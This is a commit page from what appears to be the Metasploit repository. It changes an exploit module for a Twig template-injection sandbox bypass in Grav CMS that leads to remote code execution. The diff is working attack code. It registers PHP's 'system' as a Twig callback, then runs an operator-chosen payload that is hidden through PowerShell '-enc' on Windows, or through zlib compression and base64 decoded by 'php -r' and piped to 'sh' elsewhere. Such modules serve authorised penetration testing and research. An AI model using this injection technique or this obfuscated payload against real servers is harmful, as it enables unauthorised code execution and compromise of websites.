Skip to content

Commit 5fcc33d

Browse files
committed
Implement zlib compression before base64 encoding to minimize payload size
1 parent d17dc18 commit 5fcc33d

File tree

1 file changed

+23
-8
lines changed

1 file changed

+23
-8
lines changed

modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb

Lines changed: 23 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -338,20 +338,35 @@ def execute_payload
338338
def twig_payload
339339
cmd = payload.encoded
340340

341+
twig_prefix = "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}" \
342+
"{% set a = grav.config.set('system.twig.undefined_functions',false) %}" \
343+
"{{ grav.twig.twig.getFunction('"
344+
twig_suffix = "') }}"
345+
341346
case target['Type']
342347
when :win_cmd
343-
"{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}" \
344-
"{% set a = grav.config.set('system.twig.undefined_functions',false) %}" \
345-
"{{ grav.twig.twig.getFunction('powershell -enc #{Rex::Text.encode_base64(cmd.encode('UTF-16LE'))}') }}"
348+
encoded_cmd = Rex::Text.encode_base64(cmd.encode('UTF-16LE'))
349+
350+
"#{twig_prefix}powershell -enc #{encoded_cmd}#{twig_suffix}"
351+
346352
else
347-
# Base64 encode payload to avoid Twig escaping special characters
348-
encoded_cmd = Rex::Text.encode_base64(cmd)
349-
"{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}" \
350-
"{% set a = grav.config.set('system.twig.undefined_functions',false) %}" \
351-
"{{ grav.twig.twig.getFunction('echo #{encoded_cmd}|base64 -d|bash') }}"
353+
require 'zlib'
354+
compressed = compress_deflate(cmd)
355+
356+
# Strip newlines from base64 to avoid breaking Twig syntax
357+
encoded_cmd = Rex::Text.encode_base64(compressed).gsub(/\n/, '')
358+
359+
"#{twig_prefix}php -r \"echo gzinflate(base64_decode(\\'#{encoded_cmd}\\'));\" | sh#{twig_suffix}"
352360
end
353361
end
354362

363+
def compress_deflate(data)
364+
deflater = Zlib::Deflate.new(Zlib::BEST_COMPRESSION, -Zlib::MAX_WBITS)
365+
compressed = deflater.deflate(data, Zlib::FINISH)
366+
deflater.close
367+
compressed
368+
end
369+
355370
def follow_redirect(res)
356371
return res unless [301, 302, 303].include?(res.code)
357372

0 commit comments

Comments
 (0)